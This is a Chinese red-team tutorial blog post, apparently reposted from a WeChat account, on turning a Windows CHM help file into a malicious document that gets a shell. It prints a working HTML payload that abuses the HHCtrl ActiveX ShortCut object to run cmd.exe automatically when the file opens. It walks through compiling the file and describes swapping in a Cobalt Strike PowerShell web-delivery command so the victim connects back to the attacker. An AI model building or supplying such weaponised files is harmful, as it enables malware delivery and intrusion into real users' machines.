黑客(红队)攻防中内网利用chm文件进行getshell上线

admin 2024年10月7日22:11:35评论7 views字数 1175阅读3分55秒阅读模式

前言:

  今天这个文章的来源是前几天和一位师傅的交流

黑客(红队)攻防中内网利用chm文件进行getshell上线

黑客(红队)攻防中内网利用chm文件进行getshell上线

chm:

直接说chm文件师傅们可能比较懵但是看一下chm文件的图标可能就记起来了

黑客(红队)攻防中内网利用chm文件进行getshell上线

chm全称Compiled Help Manual利用HTML作源码是微软新一代帮助文件格式。

HTML编译:

  要将HTML编译为chm需要借助HTML Help Workshop工具

https://softpedia-secure-download.com/dl/18835165e5cb1c12b57394383d4aeccb/64cfb352/100068169/software/authoring/htmlhelp.exe

下载完成之后先新建一个.hhp后缀的文件:

黑客(红队)攻防中内网利用chm文件进行getshell上线

再新建一个HTML文件:

黑客(红队)攻防中内网利用chm文件进行getshell上线

 <!DOCTYPE html><html><head><title>Mousejack replay</title>        <head></head>        <body>hellp word<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>            <PARAM name="Command" value="ShortCut">                 <PARAM name="Button" value="Bitmap::shortcut">                     <PARAM name="Item1" value=',cmd.exe'>                         <PARAM name="Item2" value="273,1,1">                        </OBJECT><SCRIPT>x.Click();</SCRIPT>        </body></html>

黑客(红队)攻防中内网利用chm文件进行getshell上线

然后打开hhw工具:

黑客(红队)攻防中内网利用chm文件进行getshell上线

点击File-->New:

黑客(红队)攻防中内网利用chm文件进行getshell上线

再点击Project:

黑客(红队)攻防中内网利用chm文件进行getshell上线

黑客(红队)攻防中内网利用chm文件进行getshell上线

选择刚刚创建的test.hhp文件:

黑客(红队)攻防中内网利用chm文件进行getshell上线

黑客(红队)攻防中内网利用chm文件进行getshell上线

再点击HTML files:

黑客(红队)攻防中内网利用chm文件进行getshell上线

再点击Add:

黑客(红队)攻防中内网利用chm文件进行getshell上线

黑客(红队)攻防中内网利用chm文件进行getshell上线

添加刚刚的test.html文件,最后点击完成:

黑客(红队)攻防中内网利用chm文件进行getshell上线

查看源码有没有错误,查看完后点击File-->Compile:

黑客(红队)攻防中内网利用chm文件进行getshell上线

黑客(红队)攻防中内网利用chm文件进行getshell上线

点击Compile:

黑客(红队)攻防中内网利用chm文件进行getshell上线

出现了生成日志按照日志位置找到test.chm文件:

黑客(红队)攻防中内网利用chm文件进行getshell上线

双击运行:

黑客(红队)攻防中内网利用chm文件进行getshell上线

成功弹出cmd

利用chm进行CS上线:

  首先启动Kali上部署CS:

黑客(红队)攻防中内网利用chm文件进行getshell上线

本地连接:

黑客(红队)攻防中内网利用chm文件进行getshell上线

黑客(红队)攻防中内网利用chm文件进行getshell上线

点击攻击Attacks-->Web Druve-by-->Scripted Web Delivert生成一个powershell上线命令

黑客(红队)攻防中内网利用chm文件进行getshell上线

然后更改刚刚HTML源码中的Value值

黑客(红队)攻防中内网利用chm文件进行getshell上线

但是CS生成的payload中要在powershell.exe后加个逗号

黑客(红队)攻防中内网利用chm文件进行getshell上线

黑客(红队)攻防中内网利用chm文件进行getshell上线

准备好所需的文件

黑客(红队)攻防中内网利用chm文件进行getshell上线

黑客(红队)攻防中内网利用chm文件进行getshell上线

编译生成red.chm

黑客(红队)攻防中内网利用chm文件进行getshell上线

拿到测试环境,直接命令行启动:

黑客(红队)攻防中内网利用chm文件进行getshell上线

黑客(红队)攻防中内网利用chm文件进行getshell上线

成功上线

总结:

  chm上线的操作大多在win11以下设备上成功率较高,且操作没有以往的难度大,所以本文字数也较少,师傅们也可自行思考利用其它payload达到出其不意的效果。

原文始发于微信公众号(flower安全混子):黑客(红队)攻防中内网利用chm文件进行getshell上线

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日22:11:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   黑客(红队)攻防中内网利用chm文件进行getshell上线https://cn-sec.com/archives/1939328.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息